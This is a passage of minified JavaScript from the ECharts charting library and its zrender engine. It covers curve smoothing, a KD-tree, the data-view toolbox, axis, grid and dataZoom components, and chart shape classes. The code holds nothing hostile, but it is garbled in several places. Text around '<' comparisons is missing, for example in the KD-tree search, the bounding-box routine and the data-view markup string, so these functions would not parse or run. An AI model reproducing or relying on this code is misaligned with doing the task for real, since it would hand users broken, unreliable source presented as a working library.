l="stroke"==e.brushType||"fill"==e.brushType?e.lineWidth||1:0,e.__rect={x:Math.round(t-l/2),y:Math.round(n-l/2),width:i-t+l,height:a-n+l},e.__rect}},e("../tool/util").inherits(o,t),o}),i("echarts/util/shape/normalIsCover",[],function(){return function(e,t){var i=this.transformCoordToLocal(e,t);return e=i[0],t=i[1],this.isCoverRect(e,t)}}),i("zrender/shape/util/smoothSpline",["require","../../tool/vector"],function(e){function t(e,t,i,n,a,o,r){var s=.5*(i-e),l=.5*(n-t);return(2*(t-i)+s+l)*r+(-3*(t-i)-2*s-l)*o+s*a+t}var i=e("../../tool/vector");return function(e,n){for(var a=e.length,o=[],r=0,s=1;a>s;s++)r+=i.distance(e[s-1],e[s]);var l=r/5;l=a>l?a:l;for(var s=0;l>s;s++){var h,m,V,U=s/(l-1)*(n?a:a-1),d=Math.floor(U),p=U-d,c=e[d%a];n?(h=e[(d-1+a)%a],m=e[(d+1)%a],V=e[(d+2)%a]):(h=e[0===d?d:d-1],m=e[d>a-2?a-1:d+1],V=e[d>a-3?a-1:d+2]);var u=p*p,y=p*u;o.push([t(h[0],c[0],m[0],V[0],p,u,y),t(h[1],c[1],m[1],V[1],p,u,y)])}return o}}),i("zrender/shape/util/smoothBezier",["require","../../tool/vector"],function(e){var t=e("../../tool/vector");return function(e,i,n,a){var o,r,s,l,h=[],m=[],V=[],U=[],d=!!a;if(d){s=[1/0,1/0],l=[-(1/0),-(1/0)];for(var p=0,c=e.length;c>p;p++)t.min(s,s,e[p]),t.max(l,l,e[p]);t.min(s,s,a[0]),t.max(l,l,a[1])}for(var p=0,c=e.length;c>p;p++){var o,r,u=e[p];if(n)o=e[p?p-1:c-1],r=e[(p+1)%c];else{if(0===p||p===c-1){h.push(t.clone(e[p]));continue}o=e[p-1],r=e[p+1]}t.sub(m,r,o),t.scale(m,m,i);var y=t.distance(u,o),g=t.distance(u,r),b=y+g;0!==b&&(y/=b,g/=b),t.scale(V,m,-y),t.scale(U,m,g);var f=t.add([],u,V),k=t.add([],u,U);d&&(t.max(f,f,s),t.min(f,f,l),t.max(k,k,s),t.min(k,k,l)),h.push(f),h.push(k)}return n&&h.push(t.clone(h.shift())),h}}),i("echarts/util/ecQuery",["require","zrender/tool/util"],function(e){function t(e,t){if("undefined"!=typeof e){if(!t)return e;t=t.split(".");for(var i=t.length,n=0;i>n;){if(e=e[t[n]],"undefined"==typeof e)return;n++}return e}}function i(e,i){for(var n,a=0,o=e.length;o>a;a++)if(n=t(e[a],i),"undefined"!=typeof n)return n}function n(e,i){for(var n,o=e.length;o--;){var r=t(e[o],i);"undefined"!=typeof r&&("undefined"==typeof n?n=a.clone(r):a.merge(n,r,!0))}return n}var a=e("zrender/tool/util");return{query:t,deepQuery:i,deepMerge:n}}),i("echarts/util/number",[],function(){function e(e){return e.replace(/^\s+/,"").replace(/\s+$/,"")}function t(t,i){return"string"==typeof t?e(t).match(/%$/)?parseFloat(t)/100*i:parseFloat(t):t}function i(e,i){return[t(i[0],e.getWidth()),t(i[1],e.getHeight())]}function n(e,i){i instanceof Array||(i=[0,i]);var n=Math.min(e.getWidth(),e.getHeight())/2;return[t(i[0],n),t(i[1],n)]}function a(e){return isNaN(e)?"-":(e=(e+"").split("."),e[0].replace(/(\d{1,3})(?=(?:\d{3})+(?!\d))/g,"$1,")+(e.length>1?"."+e[1]:""))}function o(e){for(var t=1,i=0;Math.round(e*t)/t!==e;)t*=10,i++;return i}return{parsePercent:t,parseCenter:i,parseRadius:n,addCommas:a,getPrecision:o}}),i("echarts/data/KDTree",["require","./quickSelect"],function(e){function t(e,t){this.left=null,this.right=null,this.axis=e,this.data=t}var i=e("./quickSelect"),n=function(e,t){e.length&&(t||(t=e[0].array.length),this.dimension=t,this.root=this._buildTree(e,0,e.length-1,0),this._stack=[],this._nearstNList=[])};return n.prototype._buildTree=function(e,n,a,o){if(n>a)return null;var r=Math.floor((n+a)/2);r=i(e,n,a,r,function(e,t){return e.array[o]-t.array[o]});var s=e[r],l=new t(o,s);return o=(o+1)%this.dimension,a>n&&(l.left=this._buildTree(e,n,r-1,o),l.right=this._buildTree(e,r+1,a,o)),l},n.prototype.nearest=function(e,t){var i=this.root,n=this._stack,a=0,o=1/0,r=null;for(i.data!==e&&(o=t(i.data,e),r=i),e.array[i.axis]s,h=!1;s*=s,o>s&&(s=t(i.data,e),o>s&&i.data!==e&&(o=s,r=i),h=!0),l?(h&&i.right&&(n[a++]=i.right),i.left&&(n[a++]=i.left)):(h&&i.left&&(n[a++]=i.left),i.right&&(n[a++]=i.right))}return r.data},n.prototype._addNearest=function(e,t,i){for(var n=this._nearstNList,a=e-1;a>0&&!(t>=n[a-1].dist);a--)n[a].dist=n[a-1].dist,n[a].node=n[a-1].node;n[a].dist=t,n[a].node=i},n.prototype.nearestN=function(e,t,i,n){if(0>=t)return n.length=0,n;for(var a=this.root,o=this._stack,r=0,s=this._nearstNList,l=0;t>l;l++)s[l]||(s[l]={}),s[l].dist=0,s[l].node=null;var h=i(a.data,e),m=0;for(a.data!==e&&(m++,this._addNearest(m,h,a)),e.array[a.axis]h,U=!1;h*=h,(t>m||hm||hm&&m++,this._addNearest(m,h,a)),U=!0),V?(U&&a.right&&(o[r++]=a.right),a.left&&(o[r++]=a.left)):(U&&a.left&&(o[r++]=a.left),a.right&&(o[r++]=a.right))}for(var l=0;m>l;l++)n[l]=s[l].node.data;return n.length=m,n},n}),i("echarts/data/quickSelect",["require"],function(){function e(e,t){return e-t}function t(e,t,i){var n=e[t];e[t]=e[i],e[i]=n}function i(e,i,n,a,o){for(var r=i;n>i;){var r=Math.round((n+i)/2),s=e[r];t(e,r,n),r=i;for(var l=i;n-1>=l;l++)o(s,e[l])>=0&&(t(e,l,r),r++);if(t(e,n,r),r===a)return r;a>r?i=r+1:n=r-1}return i}function n(t,n,a,o,r){return arguments.length<=3&&(o=n,r=2==arguments.length?e:a,n=0,a=t.length-1),i(t,n,a,o,r)}return n}),i("echarts/component/dataView",["require","./base","../config","zrender/tool/util","../component"],function(e){function t(e,t,n,a,o){i.call(this,e,t,n,a,o),this.dom=o.dom,this._tDom=document.createElement("div"),this._textArea=document.createElement("textArea"),this._buttonRefresh=document.createElement("button"),this._buttonRefresh.setAttribute("type","button"),this._buttonClose=document.createElement("button"),this._buttonClose.setAttribute("type","button"),this._hasShow=!1,this._zrHeight=n.getHeight(),this._zrWidth=n.getWidth(),this._tDom.className="echarts-dataview",this.hide(),this.dom.firstChild.appendChild(this._tDom),window.addEventListener?(this._tDom.addEventListener("click",this._stop),this._tDom.addEventListener("mousewheel",this._stop),this._tDom.addEventListener("mousemove",this._stop),this._tDom.addEventListener("mousedown",this._stop),this._tDom.addEventListener("mouseup",this._stop),this._tDom.addEventListener("touchstart",this._stop),this._tDom.addEventListener("touchmove",this._stop),this._tDom.addEventListener("touchend",this._stop)):(this._tDom.attachEvent("onclick",this._stop),this._tDom.attachEvent("onmousewheel",this._stop),this._tDom.attachEvent("onmousemove",this._stop),this._tDom.attachEvent("onmousedown",this._stop),this._tDom.attachEvent("onmouseup",this._stop))}var i=e("./base"),n=e("../config"),a=e("zrender/tool/util");return t.prototype={type:n.COMPONENT_TYPE_DATAVIEW,_lang:["Data View","close","refresh"],_gCssText:"position:absolute;display:block;overflow:hidden;transition:height 0.8s,background-color 1s;-moz-transition:height 0.8s,background-color 1s;-webkit-transition:height 0.8s,background-color 1s;-o-transition:height 0.8s,background-color 1s;z-index:1;left:0;top:0;",hide:function(){this._sizeCssText="width:"+this._zrWidth+"px;height:0px;background-color:#f0ffff;",this._tDom.style.cssText=this._gCssText+this._sizeCssText},show:function(e){this._hasShow=!0;var t=this.query(this.option,"toolbox.feature.dataView.lang")||this._lang;this.option=e,this._tDom.innerHTML='

        '+(t[0]||this._lang[0])+"

        ";var i=this.query(this.option,"toolbox.feature.dataView.optionToContent");"function"!=typeof i?this._textArea.value=this._optionToContent():(this._textArea=document.createElement("div"),this._textArea.innerHTML=i(this.option)),this._textArea.style.cssText="display:block;margin:0 0 8px 0;padding:4px 6px;overflow:auto;width:100%;height:"+(this._zrHeight-100)+"px;",this._tDom.appendChild(this._textArea),this._buttonClose.style.cssText="float:right;padding:1px 6px;",this._buttonClose.innerHTML=t[1]||this._lang[1];var n=this;this._buttonClose.onclick=function(){n.hide()},this._tDom.appendChild(this._buttonClose),this.query(this.option,"toolbox.feature.dataView.readOnly")===!1?(this._buttonRefresh.style.cssText="float:right;margin-right:10px;padding:1px 6px;",this._buttonRefresh.innerHTML=t[2]||this._lang[2],this._buttonRefresh.onclick=function(){n._save()},this._textArea.readOnly=!1,this._textArea.style.cursor="default"):(this._buttonRefresh.style.cssText="display:none", +this._textArea.readOnly=!0,this._textArea.style.cursor="text"),this._tDom.appendChild(this._buttonRefresh),this._sizeCssText="width:"+this._zrWidth+"px;height:"+this._zrHeight+"px;background-color:#fff;",this._tDom.style.cssText=this._gCssText+this._sizeCssText},_optionToContent:function(){var e,t,i,a,o,r,s=[],l="";if(this.option.xAxis)for(s=this.option.xAxis instanceof Array?this.option.xAxis:[this.option.xAxis],e=0,a=s.length;a>e;e++)if("category"==(s[e].type||"category")){for(r=[],t=0,i=s[e].data.length;i>t;t++)r.push(this.getDataFromOption(s[e].data[t]));l+=r.join(", ")+"\n\n"}if(this.option.yAxis)for(s=this.option.yAxis instanceof Array?this.option.yAxis:[this.option.yAxis],e=0,a=s.length;a>e;e++)if("category"==s[e].type){for(r=[],t=0,i=s[e].data.length;i>t;t++)r.push(this.getDataFromOption(s[e].data[t]));l+=r.join(", ")+"\n\n"}var h,m=this.option.series;for(e=0,a=m.length;a>e;e++){for(r=[],t=0,i=m[e].data.length;i>t;t++)o=m[e].data[t],h=m[e].type==n.CHART_TYPE_PIE||m[e].type==n.CHART_TYPE_MAP?(o.name||"-")+":":"",m[e].type==n.CHART_TYPE_SCATTER&&(o=this.getDataFromOption(o).join(", ")),r.push(h+this.getDataFromOption(o));l+=(m[e].name||"-")+" : \n",l+=r.join(m[e].type==n.CHART_TYPE_SCATTER?"\n":", "),l+="\n\n"}return l},_save:function(){var e=this.query(this.option,"toolbox.feature.dataView.contentToOption");if("function"!=typeof e){for(var t=this._textArea.value.split("\n"),i=[],a=0,o=t.length;o>a;a++)t[a]=this._trim(t[a]),""!==t[a]&&i.push(t[a]);this._contentToOption(i)}else e(this._textArea,this.option);this.hide();var r=this;setTimeout(function(){r.messageCenter&&r.messageCenter.dispatch(n.EVENT.DATA_VIEW_CHANGED,null,{option:r.option},r.myChart)},r.canvasSupported?800:100)},_contentToOption:function(e){var t,i,a,o,r,s,l,h=[],m=0;if(this.option.xAxis)for(h=this.option.xAxis instanceof Array?this.option.xAxis:[this.option.xAxis],t=0,o=h.length;o>t;t++)if("category"==(h[t].type||"category")){for(s=e[m].split(","),i=0,a=h[t].data.length;a>i;i++)l=this._trim(s[i]||""),r=h[t].data[i],"undefined"!=typeof h[t].data[i].value?h[t].data[i].value=l:h[t].data[i]=l;m++}if(this.option.yAxis)for(h=this.option.yAxis instanceof Array?this.option.yAxis:[this.option.yAxis],t=0,o=h.length;o>t;t++)if("category"==h[t].type){for(s=e[m].split(","),i=0,a=h[t].data.length;a>i;i++)l=this._trim(s[i]||""),r=h[t].data[i],"undefined"!=typeof h[t].data[i].value?h[t].data[i].value=l:h[t].data[i]=l;m++}var V=this.option.series;for(t=0,o=V.length;o>t;t++)if(m++,V[t].type==n.CHART_TYPE_SCATTER)for(var i=0,a=V[t].data.length;a>i;i++)s=e[m],l=s.replace(" ","").split(","),"undefined"!=typeof V[t].data[i].value?V[t].data[i].value=l:V[t].data[i]=l,m++;else{s=e[m].split(",");for(var i=0,a=V[t].data.length;a>i;i++)l=(s[i]||"").replace(/.*:/,""),l=this._trim(l),l="-"!=l&&""!==l?l-0:"-","undefined"!=typeof V[t].data[i].value?V[t].data[i].value=l:V[t].data[i]=l;m++}},_trim:function(e){var t=new RegExp("(^[\\s\\t\\xa0\\u3000]+)|([\\u3000\\xa0\\s\\t]+$)","g");return e.replace(t,"")},_stop:function(e){e=e||window.event,e.stopPropagation?e.stopPropagation():e.cancelBubble=!0},resize:function(){this._zrHeight=this.zr.getHeight(),this._zrWidth=this.zr.getWidth(),this._tDom.offsetHeight>10&&(this._sizeCssText="width:"+this._zrWidth+"px;height:"+this._zrHeight+"px;background-color:#fff;",this._tDom.style.cssText=this._gCssText+this._sizeCssText,this._textArea.style.cssText="display:block;margin:0 0 8px 0;padding:4px 6px;overflow:auto;width:100%;height:"+(this._zrHeight-100)+"px;")},dispose:function(){window.removeEventListener?(this._tDom.removeEventListener("click",this._stop),this._tDom.removeEventListener("mousewheel",this._stop),this._tDom.removeEventListener("mousemove",this._stop),this._tDom.removeEventListener("mousedown",this._stop),this._tDom.removeEventListener("mouseup",this._stop),this._tDom.removeEventListener("touchstart",this._stop),this._tDom.removeEventListener("touchmove",this._stop),this._tDom.removeEventListener("touchend",this._stop)):(this._tDom.detachEvent("onclick",this._stop),this._tDom.detachEvent("onmousewheel",this._stop),this._tDom.detachEvent("onmousemove",this._stop),this._tDom.detachEvent("onmousedown",this._stop),this._tDom.detachEvent("onmouseup",this._stop)),this._buttonRefresh.onclick=null,this._buttonClose.onclick=null,this._hasShow&&(this._tDom.removeChild(this._textArea),this._tDom.removeChild(this._buttonRefresh),this._tDom.removeChild(this._buttonClose)),this._textArea=null,this._buttonRefresh=null,this._buttonClose=null,this.dom.firstChild.removeChild(this._tDom),this._tDom=null}},a.inherits(t,i),e("../component").define("dataView",t),t}),i("echarts/util/shape/Cross",["require","zrender/shape/Base","zrender/shape/Line","zrender/tool/util","./normalIsCover"],function(e){function t(e){i.call(this,e)}var i=e("zrender/shape/Base"),n=e("zrender/shape/Line"),a=e("zrender/tool/util");return t.prototype={type:"cross",buildPath:function(e,t){var i=t.rect;t.xStart=i.x,t.xEnd=i.x+i.width,t.yStart=t.yEnd=t.y,n.prototype.buildPath(e,t),t.xStart=t.xEnd=t.x,t.yStart=i.y,t.yEnd=i.y+i.height,n.prototype.buildPath(e,t)},getRect:function(e){return e.rect},isCover:e("./normalIsCover")},a.inherits(t,i),t}),i("zrender/shape/Sector",["require","../tool/math","../tool/computeBoundingBox","../tool/vector","./Base","../tool/util"],function(e){var t=e("../tool/math"),i=e("../tool/computeBoundingBox"),n=e("../tool/vector"),a=e("./Base"),o=n.create(),r=n.create(),s=n.create(),l=n.create(),h=function(e){a.call(this,e)};return h.prototype={type:"sector",buildPath:function(e,i){var n=i.x,a=i.y,o=i.r0||0,r=i.r,s=i.startAngle,l=i.endAngle,h=i.clockWise||!1;s=t.degreeToRadian(s),l=t.degreeToRadian(l),h||(s=-s,l=-l);var m=t.cos(s),V=t.sin(s);e.moveTo(m*o+n,V*o+a),e.lineTo(m*r+n,V*r+a),e.arc(n,a,r,s,l,!h),e.lineTo(t.cos(l)*o+n,t.sin(l)*o+a),0!==o&&e.arc(n,a,o,l,s,h),e.closePath()},getRect:function(e){if(e.__rect)return e.__rect;var a=e.x,h=e.y,m=e.r0||0,V=e.r,U=t.degreeToRadian(e.startAngle),d=t.degreeToRadian(e.endAngle),p=e.clockWise;return p||(U=-U,d=-d),m>1?i.arc(a,h,m,U,d,!p,o,s):(o[0]=s[0]=a,o[1]=s[1]=h),i.arc(a,h,V,U,d,!p,r,l),n.min(o,o,r),n.max(s,s,l),e.__rect={x:o[0],y:o[1],width:s[0]-o[0],height:s[1]-o[1]},e.__rect}},e("../tool/util").inherits(h,a),h}),i("echarts/util/shape/Candle",["require","zrender/shape/Base","zrender/tool/util","./normalIsCover"],function(e){function t(e){i.call(this,e)}var i=e("zrender/shape/Base"),n=e("zrender/tool/util");return t.prototype={type:"candle",_numberOrder:function(e,t){return t-e},buildPath:function(e,t){var i=n.clone(t.y).sort(this._numberOrder);e.moveTo(t.x,i[3]),e.lineTo(t.x,i[2]),e.moveTo(t.x-t.width/2,i[2]),e.rect(t.x-t.width/2,i[2],t.width,i[1]-i[2]),e.moveTo(t.x,i[1]),e.lineTo(t.x,i[0])},getRect:function(e){if(!e.__rect){var t=0;("stroke"==e.brushType||"fill"==e.brushType)&&(t=e.lineWidth||1);var i=n.clone(e.y).sort(this._numberOrder);e.__rect={x:Math.round(e.x-e.width/2-t/2),y:Math.round(i[3]-t/2),width:e.width+t,height:i[0]-i[3]+t}}return e.__rect},isCover:e("./normalIsCover")},n.inherits(t,i),t}),i("zrender/tool/computeBoundingBox",["require","./vector","./curve"],function(e){function t(e,t,i){if(0!==e.length){for(var n=e[0][0],a=e[0][0],o=e[0][1],r=e[0][1],s=1;sa&&(a=l[0]),l[1]r&&(r=l[1])}t[0]=n,t[1]=o,i[0]=a,i[1]=r}}function i(e,t,i,n,a,r){var s=[];o.cubicExtrema(e[0],t[0],i[0],n[0],s);for(var l=0;l=2*Math.PI)return m[0]=e-i,m[1]=t-i,V[0]=e+i,void(V[1]=t+i);if(r[0]=Math.cos(n)*i+e,r[1]=Math.sin(n)*i+t,s[0]=Math.cos(o)*i+e,s[1]=Math.sin(o)*i+t,a.min(m,r,s),a.max(V,r,s),n%=2*Math.PI,0>n&&(n+=2*Math.PI),o%=2*Math.PI,0>o&&(o+=2*Math.PI),n>o&&!h?o+=2*Math.PI:o>n&&h&&(n+=2*Math.PI),h){var U=o;o=n,n=U}for(var d=0;o>d;d+=Math.PI/2)d>n&&(l[0]=Math.cos(d)*i+e,l[1]=Math.sin(d)*i+t,a.min(m,l,m),a.max(V,l,V))};return t.cubeBezier=i,t.quadraticBezier=n,t.arc=h,t}),i("echarts/util/shape/Chain",["require","zrender/shape/Base","./Icon","zrender/shape/util/dashedLineTo","zrender/tool/util","zrender/tool/matrix"],function(e){function t(e){i.call(this,e)}var i=e("zrender/shape/Base"),n=e("./Icon"),a=e("zrender/shape/util/dashedLineTo"),o=e("zrender/tool/util"),r=e("zrender/tool/matrix");return t.prototype={type:"chain",brush:function(e,t){var i=this.style;t&&(i=this.getHighlightStyle(i,this.highlightStyle||{})),e.save(),this.setContext(e,i),this.setTransform(e),e.save(),e.beginPath(),this.buildLinePath(e,i),e.stroke(),e.restore(),this.brushSymbol(e,i),e.restore()},buildLinePath:function(e,t){var i=t.x,n=t.y+5,o=t.width,r=t.height/2-10;if(e.moveTo(i,n),e.lineTo(i,n+r),e.moveTo(i+o,n),e.lineTo(i+o,n+r),e.moveTo(i,n+r/2),t.lineType&&"solid"!=t.lineType){if("dashed"==t.lineType||"dotted"==t.lineType){var s=(t.lineWidth||1)*("dashed"==t.lineType?5:1);a(e,i,n+r/2,i+o,n+r/2,s)}}else e.lineTo(i+o,n+r/2)},brushSymbol:function(e,t){var i=t.y+t.height/4;e.save();for(var a,o=t.chainPoint,r=0,s=o.length;s>r;r++){if(a=o[r],"none"!=a.symbol){e.beginPath();var l=a.symbolSize;n.prototype.buildPath(e,{iconType:a.symbol,x:a.x-l,y:i-l,width:2*l,height:2*l,n:a.n}),e.fillStyle=a.isEmpty?"#fff":t.strokeColor,e.closePath(),e.fill(),e.stroke()}a.showLabel&&(e.font=a.textFont,e.fillStyle=a.textColor,e.textAlign=a.textAlign,e.textBaseline=a.textBaseline,a.rotation?(e.save(),this._updateTextTransform(e,a.rotation),e.fillText(a.name,a.textX,a.textY),e.restore()):e.fillText(a.name,a.textX,a.textY))}e.restore()},_updateTextTransform:function(e,t){var i=r.create();if(r.identity(i),0!==t[0]){var n=t[1]||0,a=t[2]||0;(n||a)&&r.translate(i,i,[-n,-a]),r.rotate(i,i,t[0]),(n||a)&&r.translate(i,i,[n,a])}e.transform.apply(e,i)},isCover:function(e,t){var i=this.style;return e>=i.x&&e<=i.x+i.width&&t>=i.y&&t<=i.y+i.height?!0:!1}},o.inherits(t,i),t}),i("zrender/shape/Ring",["require","./Base","../tool/util"],function(e){var t=e("./Base"),i=function(e){t.call(this,e)};return i.prototype={type:"ring",buildPath:function(e,t){e.arc(t.x,t.y,t.r,0,2*Math.PI,!1),e.moveTo(t.x+t.r0,t.y),e.arc(t.x,t.y,t.r0,0,2*Math.PI,!0)},getRect:function(e){if(e.__rect)return e.__rect;var t;return t="stroke"==e.brushType||"fill"==e.brushType?e.lineWidth||1:0,e.__rect={x:Math.round(e.x-e.r-t/2),y:Math.round(e.y-e.r-t/2),width:2*e.r+t,height:2*e.r+t},e.__rect}},e("../tool/util").inherits(i,t),i}),i("echarts/component/axis",["require","./base","zrender/shape/Line","../config","../util/ecData","zrender/tool/util","zrender/tool/color","./categoryAxis","./valueAxis","../component"],function(e){function t(e,t,n,a,o,r){i.call(this,e,t,n,a,o),this.axisType=r,this._axisList=[],this.refresh(a)}var i=e("./base"),n=e("zrender/shape/Line"),a=e("../config"),o=e("../util/ecData"),r=e("zrender/tool/util"),s=e("zrender/tool/color");return t.prototype={type:a.COMPONENT_TYPE_AXIS,axisBase:{_buildAxisLine:function(){var e=this.option.axisLine.lineStyle.width,t=e/2,i={_axisShape:"axisLine",zlevel:this.getZlevelBase(),z:this.getZBase()+3,hoverable:!1},a=this.grid;switch(this.option.position){case"left":i.style={xStart:a.getX()-t,yStart:a.getYend(),xEnd:a.getX()-t,yEnd:a.getY(),lineCap:"round"};break;case"right":i.style={xStart:a.getXend()+t,yStart:a.getYend(),xEnd:a.getXend()+t,yEnd:a.getY(),lineCap:"round"};break;case"bottom":i.style={xStart:a.getX(),yStart:a.getYend()+t,xEnd:a.getXend(),yEnd:a.getYend()+t,lineCap:"round"};break;case"top":i.style={xStart:a.getX(),yStart:a.getY()-t,xEnd:a.getXend(),yEnd:a.getY()-t,lineCap:"round"}}var o=i.style;""!==this.option.name&&(o.text=this.option.name,o.textPosition=this.option.nameLocation,o.textFont=this.getFont(this.option.nameTextStyle),this.option.nameTextStyle.align&&(o.textAlign=this.option.nameTextStyle.align),this.option.nameTextStyle.baseline&&(o.textBaseline=this.option.nameTextStyle.baseline),this.option.nameTextStyle.color&&(o.textColor=this.option.nameTextStyle.color)),o.strokeColor=this.option.axisLine.lineStyle.color,o.lineWidth=e,this.isHorizontal()?o.yStart=o.yEnd=this.subPixelOptimize(o.yEnd,e):o.xStart=o.xEnd=this.subPixelOptimize(o.xEnd,e),o.lineType=this.option.axisLine.lineStyle.type,i=new n(i),this.shapeList.push(i)},_axisLabelClickable:function(e,t){return e?(o.pack(t,void 0,-1,void 0,-1,t.style.text),t.hoverable=!0,t.clickable=!0,t.highlightStyle={color:s.lift(t.style.color,1),brushType:"fill"},t):t},refixAxisShape:function(e,t){if(this.option.axisLine.onZero){var i;if(this.isHorizontal()&&null!=t)for(var n=0,a=this.shapeList.length;a>n;n++)"axisLine"===this.shapeList[n]._axisShape?(this.shapeList[n].style.yStart=this.shapeList[n].style.yEnd=this.subPixelOptimize(t,this.shapeList[n].stylelineWidth),this.zr.modShape(this.shapeList[n].id)):"axisTick"===this.shapeList[n]._axisShape&&(i=this.shapeList[n].style.yEnd-this.shapeList[n].style.yStart,this.shapeList[n].style.yStart=t-i,this.shapeList[n].style.yEnd=t,this.zr.modShape(this.shapeList[n].id));if(!this.isHorizontal()&&null!=e)for(var n=0,a=this.shapeList.length;a>n;n++)"axisLine"===this.shapeList[n]._axisShape?(this.shapeList[n].style.xStart=this.shapeList[n].style.xEnd=this.subPixelOptimize(e,this.shapeList[n].stylelineWidth),this.zr.modShape(this.shapeList[n].id)):"axisTick"===this.shapeList[n]._axisShape&&(i=this.shapeList[n].style.xEnd-this.shapeList[n].style.xStart,this.shapeList[n].style.xStart=e,this.shapeList[n].style.xEnd=e+i,this.zr.modShape(this.shapeList[n].id))}},getPosition:function(){return this.option.position},isHorizontal:function(){return"bottom"===this.option.position||"top"===this.option.position}},reformOption:function(e){if(!e||e instanceof Array&&0===e.length?e=[{type:a.COMPONENT_TYPE_AXIS_VALUE}]:e instanceof Array||(e=[e]),e.length>2&&(e=[e[0],e[1]]),"xAxis"===this.axisType){(!e[0].position||"bottom"!=e[0].position&&"top"!=e[0].position)&&(e[0].position="bottom"),e.length>1&&(e[1].position="bottom"===e[0].position?"top":"bottom");for(var t=0,i=e.length;i>t;t++)e[t].type=e[t].type||"category",e[t].xAxisIndex=t,e[t].yAxisIndex=-1}else{(!e[0].position||"left"!=e[0].position&&"right"!=e[0].position)&&(e[0].position="left"),e.length>1&&(e[1].position="left"===e[0].position?"right":"left");for(var t=0,i=e.length;i>t;t++)e[t].type=e[t].type||"value",e[t].xAxisIndex=-1,e[t].yAxisIndex=t}return e},refresh:function(t){var i;t&&(this.option=t,"xAxis"===this.axisType?(this.option.xAxis=this.reformOption(t.xAxis),i=this.option.xAxis):(this.option.yAxis=this.reformOption(t.yAxis),i=this.option.yAxis),this.series=t.series);for(var n=e("./categoryAxis"),a=e("./valueAxis"),o=Math.max(i&&i.length||0,this._axisList.length),r=0;o>r;r++)!this._axisList[r]||!t||i[r]&&this._axisList[r].type==i[r].type||(this._axisList[r].dispose&&this._axisList[r].dispose(),this._axisList[r]=!1),this._axisList[r]?this._axisList[r].refresh&&this._axisList[r].refresh(i?i[r]:!1,this.series):i&&i[r]&&(this._axisList[r]="category"===i[r].type?new n(this.ecTheme,this.messageCenter,this.zr,i[r],this.myChart,this.axisBase):new a(this.ecTheme,this.messageCenter,this.zr,i[r],this.myChart,this.axisBase,this.series))},getAxis:function(e){return this._axisList[e]},getAxisCount:function(){return this._axisList.length},clear:function(){for(var e=0,t=this._axisList.length;t>e;e++)this._axisList[e].dispose&&this._axisList[e].dispose();this._axisList=[]}},r.inherits(t,i),e("../component").define("axis",t),t}),i("echarts/component/grid",["require","./base","zrender/shape/Rectangle","../config","zrender/tool/util","../component"],function(e){function t(e,t,n,a,o){i.call(this,e,t,n,a,o),this.refresh(a)}var i=e("./base"),n=e("zrender/shape/Rectangle"),a=e("../config");a.grid={zlevel:0,z:0,x:80,y:60,x2:80,y2:60,backgroundColor:"rgba(0,0,0,0)",borderWidth:1,borderColor:"#ccc"};var o=e("zrender/tool/util");return t.prototype={type:a.COMPONENT_TYPE_GRID,getX:function(){return this._x},getY:function(){return this._y},getWidth:function(){return this._width},getHeight:function(){return this._height},getXend:function(){return this._x+this._width},getYend:function(){return this._y+this._height},getArea:function(){return{x:this._x,y:this._y,width:this._width,height:this._height}},getBbox:function(){return[[this._x,this._y],[this.getXend(),this.getYend()]]},refixAxisShape:function(e){for(var t,i,n,o=e.xAxis._axisList.concat(e.yAxis?e.yAxis._axisList:[]),r=o.length;r--;)n=o[r],n.type==a.COMPONENT_TYPE_AXIS_VALUE&&n._min<0&&n._max>=0&&(n.isHorizontal()?t=n.getCoord(0):i=n.getCoord(0));if("undefined"!=typeof t||"undefined"!=typeof i)for(r=o.length;r--;)o[r].refixAxisShape(t,i)},refresh:function(e){if(e||this._zrWidth!=this.zr.getWidth()||this._zrHeight!=this.zr.getHeight()){this.clear(),this.option=e||this.option,this.option.grid=this.reformOption(this.option.grid);var t=this.option.grid;this._zrWidth=this.zr.getWidth(),this._zrHeight=this.zr.getHeight(),this._x=this.parsePercent(t.x,this._zrWidth),this._y=this.parsePercent(t.y,this._zrHeight);var i=this.parsePercent(t.x2,this._zrWidth),a=this.parsePercent(t.y2,this._zrHeight);this._width="undefined"==typeof t.width?this._zrWidth-this._x-i:this.parsePercent(t.width,this._zrWidth),this._width=this._width<=0?10:this._width,this._height="undefined"==typeof t.height?this._zrHeight-this._y-a:this.parsePercent(t.height,this._zrHeight),this._height=this._height<=0?10:this._height,this._x=this.subPixelOptimize(this._x,t.borderWidth),this._y=this.subPixelOptimize(this._y,t.borderWidth),this.shapeList.push(new n({zlevel:this.getZlevelBase(),z:this.getZBase(),hoverable:!1,style:{x:this._x,y:this._y,width:this._width,height:this._height,brushType:t.borderWidth>0?"both":"fill",color:t.backgroundColor,strokeColor:t.borderColor,lineWidth:t.borderWidth}})),this.zr.addShape(this.shapeList[0])}}},o.inherits(t,i),e("../component").define("grid",t),t}),i("echarts/component/dataZoom",["require","./base","zrender/shape/Rectangle","zrender/shape/Polygon","../util/shape/Icon","../config","../util/date","zrender/tool/util","../component"],function(e){function t(e,t,n,a,o){i.call(this,e,t,n,a,o);var r=this;r._ondrift=function(e,t){return r.__ondrift(this,e,t)},r._ondragend=function(){return r.__ondragend()},this._fillerSize=30,this._isSilence=!1,this._zoom={},this.option.dataZoom=this.reformOption(this.option.dataZoom),this.zoomOption=this.option.dataZoom,this._handleSize=this.zoomOption.handleSize,this.myChart.canvasSupported||(this.zoomOption.realtime=!1),this._location=this._getLocation(),this._zoom=this._getZoom(),this._backupData(),this.option.dataZoom.show&&this._buildShape(),this._syncData()}var i=e("./base"),n=e("zrender/shape/Rectangle"),a=e("zrender/shape/Polygon"),o=e("../util/shape/Icon"),r=e("../config");r.dataZoom={zlevel:0,z:4,show:!1,orient:"horizontal",backgroundColor:"rgba(0,0,0,0)",dataBackgroundColor:"#eee",fillerColor:"rgba(144,197,237,0.2)",handleColor:"rgba(70,130,180,0.8)",handleSize:8,showDetail:!0,realtime:!0};var s=e("../util/date"),l=e("zrender/tool/util");return t.prototype={type:r.COMPONENT_TYPE_DATAZOOM,_buildShape:function(){this._buildBackground(),this._buildFiller(),this._buildHandle(),this._buildFrame();for(var e=0,t=this.shapeList.length;t>e;e++)this.zr.addShape(this.shapeList[e]);this._syncFrameShape()},_getLocation:function(){var 